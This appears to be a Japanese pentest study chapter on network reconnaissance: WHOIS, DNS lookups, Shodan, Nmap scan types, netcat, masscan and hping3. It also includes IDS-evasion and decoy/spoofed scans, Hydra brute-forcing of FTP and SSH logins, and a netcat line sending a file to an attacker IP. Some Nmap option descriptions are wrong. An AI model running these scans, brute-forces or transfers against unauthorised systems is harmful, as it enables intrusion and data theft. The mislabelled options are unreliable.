コンテンツにスキップ

2. ネットワークの偵察

2.1. 偵察

2.1. 偵察

偵察(Recon)は攻撃対象に関する情報を収集するための事前調査のこと。 システム上で最初の足がかりを獲得するための最初のステップと言える。

2.2. 受動的な偵察と能動的な偵察

受動的な偵察

受動的な偵察は公開されている情報から行う偵察のこと。 攻撃対象と直接関わることなく、公開されているリソースからアクセスできる知識が中心となる。

受動的な偵察の例は以下の通り。

  • パブリックDNSサーバからドメインのDNSレコードを検索する
  • 対象サイトに関連する求人広告を確認する
  • 対象企業に関するニュース記事を閲覧する

能動的な偵察

能動的な偵察はターゲットとの直接的スキャンなどを行う偵察のこと。 能動的な偵察の例は以下の通り。

  • HTTP、FTP、SMTP などのプロトコルで対象サーバに接続する
  • 情報を入手するために対象組織に電話をかける (ソーシャルエンジニアリング)
  • 業者を装って会社敷地内に侵入する

2.2. 受動的なネットワーク偵察

2.2.1. WHOIS

WHOISはRFC 3912仕様に準拠した要求および応答プロトコルのこと。 WHOISサーバは43ポート(TCP)で受信リクエストを待ち受けをする。 ドメインレジストラはリースしているドメイン名のWHOISレコードを維持する責任があるため、WHOISサーバは要求されたドメインに関連するさまざまな情報を応答する。WHOISサーバが返すWHOIS情報は以下の通り。

  • レジストラ
  • 登録者の連絡先情報
  • 作成日、更新日、有効期限
  • ネームサーバ

whoisコマンド

WHOIS情報を確認できるコマンド。

WHOIS <DOMAIN_NAME>

2.2.2. nslookupとdig

nslookupコマンド

IPを調べたり、DNSサーバにドメイン名を問い合わせなどを行えるコマンド。

nslookup [オプション] [ドメイン名] [DNSサーバ]

オプションには-type=でクエリタイプが指定できる。

クエリの種類 返す情報
A IPv4アドレス
AAAA IPv6アドレス
CNAME 正規名
MX メールサーバ
SOA ゾーンの管理情報
TXT TXTレコード

digコマンド

詳細な情報をDNSサーバから取得できるコマンド。

dig [@問い合わせ先DNSサーバ] ホスト名|ドメイン名|IPアドレス [クエリタイプ]
オプション 説明
-x 指定されたIPアドレスの逆引きを行う
-p ポート番号 問い合わせ先のポート番号を指定(53番がデフォルト)
クエリタイプ 説明
a ホスト名に対応するIPアドレス(デフォルト)
ptr IPアドレスに対応するホスト名
ns DNSサーバ
mx メールサーバ
soa SOAレコード情報
hinfo ホスト情報
axfr ゾーン転送
txt 任意の文字列
any すべての情報

なお問い合わせ後に表示されるflagsには以下のようなものがある。

フラグ 説明
qr 問い合わせに対する回答
aa 権威のある回答
rd 再帰検索を希望
ra 再帰検索が可能

また回答の表示されるセクションは4つに分かれる。

  • QUSETION SECITION
    • 問い合わせ内容の表示
  • ANSWER SECTION
    • 問い合わせの回答内容の表示
  • AUTHORITY SECTION
    • 問い合わせ先に権威がある場合に表示
  • ADDITIONAL SECTION
    • 回答したホストのIPアドレスなど追加情報が表示

2.2.3. DNSDumpster

DNSDumpsterDNS クエリに対する詳細な回答を提供するオンラインサービス。 DNSDumpsterで検索すると、一般的なDNSクエリでは提供できないサブドメインが見つかる場合がある。 また収集したDNS情報を読みやすい表とグラフで表示してくれる。

2.2.4. Shodan.io

Shodan.ioクライアントのネットワークに能動的に接続せずに、クライアントのネットワークに関するさまざまな情報を得ることのできるサービス。別の言い方ではIoTデバイスの検索エンジンともいえる。 防御的側面ではShodan.ioで提供されるサービスを使用して、機関に属する接続されているデバイスや公開されているデバイスについて知ることが可能。

Shodan.io はWebページの検索エンジンとは対照的にオンラインでアクセス可能なすべてのデバイスに接続して、接続された「モノ」の検索エンジンを構築しようとする。応答を受け取るとサービスに関連するすべての情報を収集し、検索可能にするためにデータベースに保存しようとする。

サービスの検索とASN

shodan.ioでドメイン名を検索するとASNが表示される。 ASNはCloudFlareなどのCDNプロキシなどで秘匿されたサーバのIPアドレスを取得するのに使用できる。 これはGoogleのような巨大企業の場合、所有するすべてのIPアドレスに対して独自のASNを持っている可能性があるためである。

ASN(自律システム番号)はIP アドレス範囲のグローバル識別子のこと。

shodan.ioの検索バーでフィルタASN:[number]と検索するとそのASN上にあるWEBサイト全体を確認できる。

検索フィルタ

コチラで検索クエリを適切に使用するとAND検索などで詳細に調べられる。

asn:AS14061 product:MySQL
フィルタ 説明
asn ASNで検索
country
ip IPアドレス
product 製品/サービス名
os OS
port ポート

より多くのフィルタはコチラ

2.3. 能動的なネットワーク偵察

2.3.1. ブラウザからの偵察

Webブラウザを使用してターゲットに関する情報を収集する方法ではHTTP(80)/HTTPS(443)によるアクセスを確認できる。 その際に役立つアドオンを記載する。

FoxyProxy

ターゲットのWebサイトへのアクセスに使用しているプロキシサーバーをすばやく変更できる拡張機能。 Burp Suiteなどのツールを使用している場合やプロキシサーバを定期的に切り替える必要がある場合に便利な機能といえる。

User-Agent Switcher and Manager

別のOSまたは別のWebブラウザからWebページにアクセスしているふりをすることができる拡張機能。

Wappalyzer

訪問したWebサイトで使用されているテクノロジーに関する情報を提供する拡張機能。

2.3.2. コマンドによる偵察

指定したホストにICMPパケットを送った際の反応を確認できる。 なおIPv6の場合はping6コマンドを使う。

ping [ホスト名] [IPアドレス]
オプション 説明
-n ホスト名を指定せずにIPアドレスを表示する
-c 回数 指定した回数のみICMPパケットを送信する
-i 間隔 指定した間隔ごとにICMPパケットを送信する
-s サイズ 指定したパケットデータのサイズで送信する

また、ネットワーク上のすべての IP アドレスを ping するワンライナーは以下の通り。

for i in {1..255}; do IP="192.168.1.$i"; ping -c 1 -W 1 "$IP" &>/dev/null && echo "$IP active" || echo "$IP N/A"; done

tracerouteコマンド

指定したホストまでパケットが伝わる経路を表示するコマンド。 ネットワークの途中経路に障害がある場合、障害個所を特定できるコマンドといえる。

なお注意事項としてネットワーク経路上にICMPパケットを返信しないホストが存在する場合は適切な動作は期待できない。 なおIPv6の場合はtraceroute6コマンドを使う。

traceroute [ ホスト名 | ドメイン名 | IPアドレス ]
オプション 説明
-i インターフェース ネットワークインターフェースを指定する
-n ホスト名をIPアドレスで表示する

telnetコマンド

telnet接続できるコマンド。 なおTelnet を使用して任意のサービスに接続し、そのバナーを取得できる

telnet <IPアドレス | ホスト名> [ポート]

バナーを取得する際は以下で行う。

  1. telnet <IPアドレス | ホスト名> [ポート]でアクセス
  2. GET / HTTP/1.1と入力(80の場合)しEnter
  3. host: 任意の値でEnterしEnterを2回押す

ncコマンド

ncコマンドはTCP/UDPを使ったネットワークの通信を行うコマンド。 ポートスキャンや通信状態の確認が可能。 他にも以下のことが可能。

  • リスニングポートに接続するクライアントとしての機能
  • 選択したポートをリッスンするサーバーとして機能
nc [ ホスト名 | IPアドレス ] [ポート番号]

なおオプション-vzを指定することでポータ範囲の指定とポートスキャンが可能。 なおudpの場合はuを追加する。 また1024 未満のポート番号をリッスンするには root 権限が必要となる。

オプション 意味
-l リスニングモード
-p ポート番号を指定
-n 数値のみ。DNS経由でホスト名を解決できない
-v 詳細な出力 (バグを発見するのに役立つ)
-vv 非常に詳細 (オプション)
-k クライアントが切断された後もリッスンを続ける

使用例は以下の通り。

# サーバとして待ち受け
nc -lvnp [ポート番号]

# Netcatによるファイル転送
# 送信側
nc [攻撃者のIPアドレス] 9999 < [filename]

# 受信側
nc -l -p 9999 > [filename]

# Netcatによる複数ポートスキャン
nc -zvn [IPアドレス] [ポート番号] [ポート番号] [ポート番号]...
# NetcatによるUDPポートスキャン
nc -zvu [IPアドレス] [ポート番号]-[ポート番号]

2.4. Nmapによる高度なスキャン

Nmap(Network Mapper)はネットワークの調査とセキュリティ監査が行えるOSSのツール。 なおNMapによるスキャンは能動的な偵察となる。

公式ドキュメント:https://nmap.org/man/ja/index.html

できることは以下の通り。

  • ポートスキャン
  • OSのバージョン/ファイヤーウォールの特定

2.4.1. Nmapによるアクティブホストのスキャン

ARPを使用したホスト検出

ARPスキャンによるホスト検出はターゲットシステムと同じサブネット上にある場合にのみ可能となる。

nmap -PR -sn [ターゲットIP]

またnmap以外にもarp-scanを用いてARPパケットを詳細に制御し検出もできる。 この手法ではIPアドレスとMACアドレス両方の情報を得られる。

# イーサネットで有効なIPに対してARP Queryの送信
arp-scan -I eth0 -l

ICMPを使用したホスト検出

ICMPによるホスト検出はターゲットネットワーク上のすべてのIPアドレスにpingを実行することで行う。 ただし、ターゲットのファイヤーウォールがICMPをブロックする場合があるので常に使えるとは限らない。

# ICMPタイムスタンプを使用する場合
nmap -PP -sn [ターゲットIP/24]

# ICMPエコー要求を使用する場合
nmap -PE -sn [ターゲットIP/24]

# ICMPアドレスマスクを使用する場合
nmap -PM -sn [ターゲットIP/24]

TCP/UDPを使用したホスト検出

  • TCP SYN Ping
    • 特徴
      • 使用されるポートに対してTCP SYNパケットを送信し、応答があるかどうかを検出する。
      • サーバがTCP SYNに応答すると、ポートが開いていることが示される
    • 動作
      • ターゲットホストがTCP SYNに応答しない場合、Nmapはポートが閉じていると判断する
    • 検知
      • 相手のホストではポートが一時的に開かれるため、検知される可能性が高い
  • TCP ACK Ping
    • 特徴
      • 使用されるポートに対してTCP ACKパケットを送信し応答があるかどうかを検出する。
      • ACKパケットが返されれば、ポートが開いていることが示される
    • 動作
      • ターゲットホストがTCP ACKに応答しない場合、Nmapはポートがフィルタされていると判断する
    • 検知
      • 相手のホストでは一部のファイアウォールで検知される可能性がある
  • UDP Ping
    • 特徴
      • UDPを使用してホストがオンラインかどうかを検出する
      • UDPは通信が確立されないためフィルタリングや検知が難しい
    • 動作
      • ターゲットホストがUDPに応答しない場合にNmapはポートが閉じていると判断する
    • 検知
      • 相手のホストでは通常UDPトラフィックは検知が難しく検知されることは比較的少ない
# TCP SYN Pingの場合
nmap -PS[ポート(23)] -sn [IPアドレス/24]

# TCP ACK Pingの場合
nmap -PA[ポート(23)] -sn [IPアドレス/24]

# UDP Pingの場合
nmap -PU -sn [IPアドレス/24]

逆引きDNSルックアップの使用

Nmap のデフォルトの動作ではリバースDNSオンラインホストが使用される。 ホスト名から多くのことが明らかになる可能性があるため、これは役立つ場合がある。

オプション 目的
-n DNSルックアップなし
-R すべてのホストの逆引き DNS ルックアップ
-sn ホスト検出のみ

2.4.2. 基本的なポートスキャン

Nmapはポートの状態を以下の6つの状態に分類する。

状態 説明
Open ターゲットホストのポートが応答しており、接続可能であることを示す
Closed ターゲットホストのポートが応答しているが、接続はできないことを示す
Filtered これはファイアウォールやネットワークフィルタによってトラフィックが遮断されている可能性がある
Unfiltered ポートが応答しており、トラフィックは遮断されていないことを示す。具体的なサービスが待機しているかどうかは不明
Open/Filtered ポートの状態を正確に判別できない場合に表示される状態(OpenかFilter)
Closed/Filtered ポートの状態を正確に判別できない場合に表示される状態(CloseかFilter)
nmap [オプション] <IPアドレス/ドメイン名>
オプション 説明
-sT 接続スキャン
-sS SYNスキャン(TCP接続のSYNパケットを送信し、SYN+ACKが帰るかどうかでポートスキャンを行う)
-sV SYNスキャン+バナーの同時収集(バージョンも表示)
-sN Nullスキャン
-sF FINスキャン
-sX Xmasスキャン
-sL IPIDスキャン(ゾンビマシン指定必要)
-SA ACKスキャン(TCP接続のACKパケットを送信し、RSTが返ってくるかでファイヤーウォールの有無を判断する)
-sU UDPパケットを送信し、ICMP port unreachableが返ってくるかでポートスキャンを行う
-sP pingを送信し、エコー応答が返るかどうかでホストの存在の有無を判断する
-sn Pingスキャン
-sC NSEスクリプトの利用(-sVがダメなときに使う)
-O OSを調べる
-n 名前解決しない
-v 詳細に調べる
--reason 結果を表示
-Pn pingをしない(ホスト検出スキップ)
-PE Ping要求送信指定
-p[ポート番号],[ポート番号] ポート指定
-p[ポート番号]-[ポート番号] ポート範囲指定
-p- 全ポートスキャン
-F 有名な100ポートのスキャン
--top-ports 10 代表的な10ポートのスキャン
-T[0-5] スキャンタイミング制御:数字が低い方がIDS検知回避しやすい(数字が大きくなるほどスキャン速度が速くなる)
--min-rate [数字] パケットレート制御
--min-parallelism [プローブ] プローブの並列化

TCP接続スキャン

TCP接続スキャンはTCP3ウェイハンドシェイクを完了することでスキャニングを行う。

nmap -sT [IPアドレス/ドメイン]

TCP SYNスキャン

TCP SYN スキャンではTCP3ウェイハンドシェイクを完了せずに、サーバーから応答を受信すると接続を切断する。 TCP接続を確立していないためスキャンがログに記録される可能性が低い

nmap -sS [IPアドレス/ドメイン]

UDPスキャン

UDPはコネクションレス型プロトコルであるため、接続を確立するためにハンドシェイクを必要としない。 そのため UDPポートでリッスンしているサービスがパケットに応答するかどうかは保証できない。

nmap -sU [IPアドレス/ドメイン]

よく使うNmapコマンド

# ===========================
# クイックスキャン
# ===========================
# TCP100ポート/UDP20ポートスキャン
sudo nmap -sS -T3 <IPアドレス> -F -v && sudo nmap -T3 -sU --top-ports 20 <IPアドレス>

# ローリスクスキャン
sudo nmap -n -sT -scan-delay 0.1 <IPアドレス> -v
# クイックスキャン
sudo nmap -sS <IPアドレス> -v
# 全ポートクイックスキャン
sudo nmap -sS -T4 -A <IPアドレス> -v
# IDS/IPS回避クイックスキャン
sudo nmap -sS -f -T4 <IPアドレス> -v
# ===========================
# UDPスキャン
# ===========================
sudo nmap -sU --top-ports 20 <IPアドレス> -v
sudo nmap -sU --top-ports 100 <IPアドレス> -v
# ===========================
# Fullスキャン
# ===========================
sudo nmap -sC -sV <IPアドレス> -F -T4
sudo nmap -sC -sV <IPアドレス> --open -p- -T3

sudo nmap -n -sT -scan-delay 0.1 -p- -A <IPアドレス> -v
sudo nmap -sS -p- -A <IPアドレス> -v
# ===========================
# NSEの使用
# ===========================
ls /usr/share/nmap/scripts/ | grep <キーワード>

# POPスキャン
sudo nmap -sS -p 110,995 -A --script=pop* --script-timeout=30 <IPアドレス> -v
# IMAPスキャン
sudo nmap -sS -p 143,993 -A --script=imap* --script-timeout=30 <IPアドレス> -v
# HTTPスキャン
sudo nmap -sS -p 80 -A --script=http* --script-timeout=30 <IPアドレス> -v
# SQLスキャン
sudo nmap -sS -p 3306 -A --script=*sql* --script-timeout=30 <IPアドレス> -v
# SMBスキャン
sudo nmap -sS -p 445 -A --script=smb* --script-timeout=30 <IPアドレス> -v
# NFSスキャン
sudo nmap -sS -p 111 -A --script=nfs* --script-timeout=30 <IPアドレス> -v

ホスト範囲スキャン

# NMapによるスキャン
sudo nmap -sP <IPアドレス>/24 -oN RangeScan.txt -v

sudo nmap -PE -PM -PP -sn -n <IPアドレス>/24
sudo nmap -PE -PM -PP -sn -n <IPアドレス>/24 -oX rangescan.xml

# Pingスキャン(echo request)
ping -c 1 <IPアドレス>
# FPingスキャン(範囲に対してecho request)
fping -g <IPアドレス>/24 
# Masscanによるスキャン(有名20ポート)
sudo masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,995,1723,3306,3389,5900,8080 <IPアドレス>/24
sudo masscan -p80,443,8000-8100,8443 <IPアドレス>/24

2.4.3. 高度なポートスキャン1

TCP Nullスキャン

制御フラグを全く立てずに送信するスキャン方法。 Nullスキャンで応答がない場合は、ポートが開いているか、ファイアウォールがパケットをブロックしていることを示すことになる。

nmap -sN [IPアドレス/ドメイン名]

TCP FINスキャン

FINフラグを立てて送信する(通常はデータ終わりを示す)。

nmap -sF [IPアドレス/ドメイン名]

TCP Xmasスキャン

FIN、URG、PUSHフラグを立てて送信する。 XmasスキャンではRSTパケットを受信した場合は、ポートが閉じられていることを意味する。

nmap -sX [IPアドレス/ドメイン名]

TCP ACK スキャン

ACKフラグを立てて送信するスキャン方法。 このスキャンをそのままの設定で行う場合はターゲット ポートが開いているかどうかはわからないが、ファイヤーウォールの有無を調べることができる

ファイアウォールのルールセットと構成を検出するのにより適しているといえる。

nmap -sA [IPアドレス/ドメイン名]

TCP Windowsスキャン

ACKスキャンとほぼ同じだが、RSTパケットのTCPウィンドウフィールドが走査される特徴がある。 特定のシステムでは、これによりポートが開いていることがわかる場合がある。

nmap -sW [IPアドレス/ドメイン名]

カスタムTCPスキャン

組み込みのTCPスキャンタイプではない、新しいTCPフラグの組み合わせを試したい場合は--scanflagsオプションを使用する。 詳細に設定するにはTCP,UDPの通信フローをしっかり理解する必要がある。

nmap --scanflags RSTSYNFIN [IPアドレス/ドメイン名]

IDLEスキャン(IPIDスキャン)

IPIDスキャンはIPパケットにIPIDと呼ばれる値があることを利用した攻撃対象のサーバにIPアドレスを知らせないスキャン方法(ゾンビスキャンともいわれる)。 つまり身元を隠したスキャンが可能。なおゾンビマシンが検知の仲介に必要となる。

nmap -sI [ZOMBIE_IP] [IPアドレス/ドメイン名]

2.4.3. 高度なポートスキャン2

スプーフィングとおとりスキャン

一部のネットワーク設定では、スプーフィングされたIPアドレスやスプーフィングされたMACアドレスを使用してターゲットシステムをスキャンできる。 これは、ターゲットからの応答を確実に取得できる状況でのみ有益といえる。

スプーフィングされたIPアドレスを使用したスキャンのステップは以下の通り。

  1. 攻撃者は偽装した送信元 IP アドレスを含むパケットをターゲットマシンに送信する
    • nmap -S [SPOOFED_IP] [MACHINE_IP]
  2. ターゲット マシンは、スプーフィングされた IP アドレスを宛先として応答する
  3. 攻撃者は応答をキャプチャして、開いているポートを特定する

なおMACアドレススプーフィングを使用する場合は--spoof-macを使用し、また同じネットワーク内でのみ使用可能となる。

おとりスキャンは-Dオプションで可能で、おとりからスキャンされたように見せかけることができる。

nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME [MACHINE_IP]

断片化されたパケットの送信

Nmapでは-fオプションでポケットを断片化することができる。 これによりIPデータは8Byte以下に分割される。 また-ffオプションで16Byteのフラグメントに分割される。

これはファイヤーウォール/IDSによる検知の回避に使用できる場合がある。

詳細情報の確認

--reasonオプションでポートスキャンの推論と結論の詳細情報を表示させることができる。(ACK Responseを受信したためなど理由が表示される) そのためのオプションは以下が利用可能。

  • --reason
  • -v
  • -vv

2.4.4. 高度なポートスキャン3

サービスの検出

-sVオプションで開いているポートのサービスとバージョン情報が収集できる。 ただしこのオプションはNmapが強制的にTCP3ウェイハンドシェイクを続行し、接続を確立するため注意が必要となる。

またバージョン情報収集レベルは--version-intensity [LEVEL]オプションで指定可能で--version-allでレベル9と同等になる。

nmap -sV --version-light [IPアドレス|ドメイン名]

OSの検出

OSの検出は-Oオプションで可能となる。

nmap -sS -O [IPアドレス|ドメイン名]

ターゲット間のノードを検出する

スキャン端末とターゲット間のルータを見つけるには--tracerouteオプションの追加で可能となる。

nmap -sS --traceroute [IPアドレス|ドメイン名]

PingSweep

IPアドレス範囲に対して稼働サーバを調査する方法はPingSwwwpと呼ばれ、以下コマンドで実現できる。

nmap -sn -PE <対象IPアドレス範囲(CIDR含む)>

Nmapスクリプトエンジン(NSE)の使用

Nmapでスクリプトエンジンを使用すると機能に対してカスタム機能を追加できる。 Kali Linuxの場合/usr/share/nmap/scriptsにNSEが保存されているためそこから使用できる。

また使用には--script [スクリプト]で使用する。

# スクリプトの検索
/usr/share/nmap/scripts# ls [検索文字列など]
ls /usr/share/nmap/scripts | grep [検索文字列など]
find /usr/share/nmap/scripts -type f *[検索文字列]*.nse 2> /dev/null


# スクリプトの使用
sudo nmap -sS -n --script "スクリプト" [IPアドレス|ドメイン名]
スクリプトの種類 説明
auth 認証関連のスクリプト
broadcast ブロードキャスト メッセージを送信してホストを検出
brute ログインに対してブルートフォースパスワード監査を実行
default デフォルトのスクリプトと同じ(-sC)
discovery データベーステーブルやDNS名などのアクセス可能な情報を取得
dos サービス拒否 (DoS) に対して脆弱なサーバーを検出
exploit さまざまな脆弱なサービスを悪用しようとする試み
external Geoplugin や Virustotal などのサードパーティサービスを使用したチェック
fuzzer ファジング攻撃を開始
intrusive ブルートフォース攻撃やエクスプロイトなどの侵入的なスクリプト
malware バックドアのスキャン
safe ターゲットをクラッシュさせない安全なスクリプト
version サービスバージョンの取得
vuln 脆弱性をチェックするか、脆弱なサービスを悪用する

Nmap出力の保存

Nmapスキャンを実行するときは常に、結果をファイルに保存することが合理的な場合がある。 保存できる形式は以下の通り。

  1. 通常方法
    • -oN [ファイル名]で可能
  2. Grepable形式
    • -oG [ファイル名]で可能
  3. XML
    • -oX [ファイル名]で可能

なおgrepする場合以下方法が便利である。

[ファイル名] | grep -[A/B] [] "文字列"

2.5. Rustscanによるスキャン

Nmapより高速にポートスキャンできるツール。

# 複数マシンのスキャン
rustscan -a <IPアドレス | URL,>
# 複数指定する場合
rustscan -a <IPアドレス | URL> -p 20,21,53,80
# ポートの範囲を指定する場合
rustscan -a <IPアドレス | URL> --range 1-1000

2.6. Hydraによるログインパスワード総当たり攻撃

hydraは有名なパスワード解析ツールだが、FTP、POP3、IMAP、SMTP、SSH、HTTPのアクセスに対するパスワード総当たりも可能である。 基本的な構文は以下の通り。

またパスワードのkaliのデフォルト辞書ファイルは/usr/share/wordlists/rockyou.txtが使える。

hydra -l [ユーザ名] -P [辞書ファイル] [IP/ホスト名] [サービス名]
オプション 説明
-S [ポート] 対象のサービスのデフォルト以外のポートを指定
-v, -vv 進行状況を確認するのに非常に便利
-t [数字] ターゲットへの接続に使用されるスレッド数の指定

FTPの例

hydra -l [ユーザ名] mark -P [辞書ファイル] ftp://[IP/ホスト名]

SSHの例

hydra -l [ユーザ名] mark -P [辞書ファイル] [IP/ホスト名] ssh

2.7. Netdiscoverによるホスト調査

ネットワーク内のライブホストをスキャンできるARPスキャナー。 ワイヤレスネットワークのアクティブスキャン/パッシブスキャン、ウォードライビングによく使用される。

特徴としてDHCPサーバがなくても特定ネットワークのIPアドレス検知に役立つ。

sudo netdiscover -r <IPアドレス>/<サブネットマスク>
sudo netdiscover -i <インターフェイス> -p
sudo netdiscover -i <インターフェイス> -r <IPアドレス>

Netdiscoverによるライブサーバ検出

# パッシブスキャン(Ctrl+Cで数分後に終了する)
sudo netdiscover -p

# アクティブスキャンによるライブIP検出(Ctrl+Cで数分後に終了する)
sudo netdiscover -i <インターフェイス>

2.8. Hping3

Hping3はTCP/IPパケットアセンブラ/アナライザー 任意のネットワークパケットを組み立てて送信できるツール。

機能は以下の通り。

  • ファイヤウォールテスト
  • 高度なポートスキャン
  • ネットワークテスト

2.8.1. よく使うHping3

# ウェルノウンポートリストの各ポートにTCP SYNパケット(-S)を送信
sudo hping3 --scan known <IPアドレス> -S
# TCP SYNパケット(-S)を使用して、0から3000の範囲のポートをスキャン
sudo hping3 --scan '0-3000' <IPアドレス> -S

2.9. Zenmap

ZenmapはNmapのGUIフロントエンドツール。

2.9.1. インストール

sudo apt update
sudo apt install zenmap-kbx